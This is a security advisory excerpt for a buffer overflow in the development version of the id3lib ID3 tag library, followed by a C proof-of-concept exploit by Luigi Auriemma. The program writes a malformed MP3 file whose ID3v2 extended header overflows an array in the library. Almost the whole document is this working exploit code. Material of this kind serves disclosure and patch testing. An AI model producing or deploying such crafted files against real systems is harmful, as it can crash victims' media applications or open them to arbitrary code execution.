100 lines
2.1 KiB
C
Executable file
100 lines
2.1 KiB
C
Executable file
source: http://www.securityfocus.com/bid/26945/info
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The 'id3lib' library is prone to a buffer-overflow vulnerability.
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An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.
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This issue affects versions of id3lib committed to the CVS repository; other versions may also be affected.
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/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#define VER "0.1"
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#define u8 unsigned char
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#define MASK(bits) ((1 << (bits)) - 1)
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int w28(u8 *data, unsigned num);
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void std_err(void);
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int main(int argc, char *argv[]) {
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FILE *fd;
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int i;
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u8 buff[1024],
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*p;
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setbuf(stdout, NULL);
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fputs("\n"
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"id3lib (devel CVS) array overflow "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: aluigi.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <output.MP3>\n"
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"\n", argv[0]);
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exit(1);
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}
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p = buff;
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*p++ = 'I'; // "ID3"
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*p++ = 'D';
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*p++ = '3';
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*p++ = 4; // ID3v2 4.0
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*p++ = 0;
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*p++ = 1 << 6; // flags: extended
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p += w28(p, 0); // this->SetDataSize
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p += w28(p, 0); // not used by id3lib
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*p++ = 6; // extflagbytes
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for(i = 0; i < 20; i++) {
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*p++ = 0xcc;
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}
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printf("- create file %s\n", argv[1]);
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fd = fopen(argv[1], "wb");
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if(!fd) std_err();
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fwrite(buff, 1, p - buff, fd);
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fclose(fd);
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printf("- done\n");
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return(0);
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}
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int w28(u8 *data, unsigned num) {
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const unsigned short BITSUSED = 7;
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const unsigned MAXVAL = MASK(BITSUSED * 4);
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int i;
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if(num > MAXVAL) num = MAXVAL;
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for(i = 0; i < 4; i++) {
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data[4 - i - 1] = num & MASK(BITSUSED);
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num >>= BITSUSED;
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}
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return(4);
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}
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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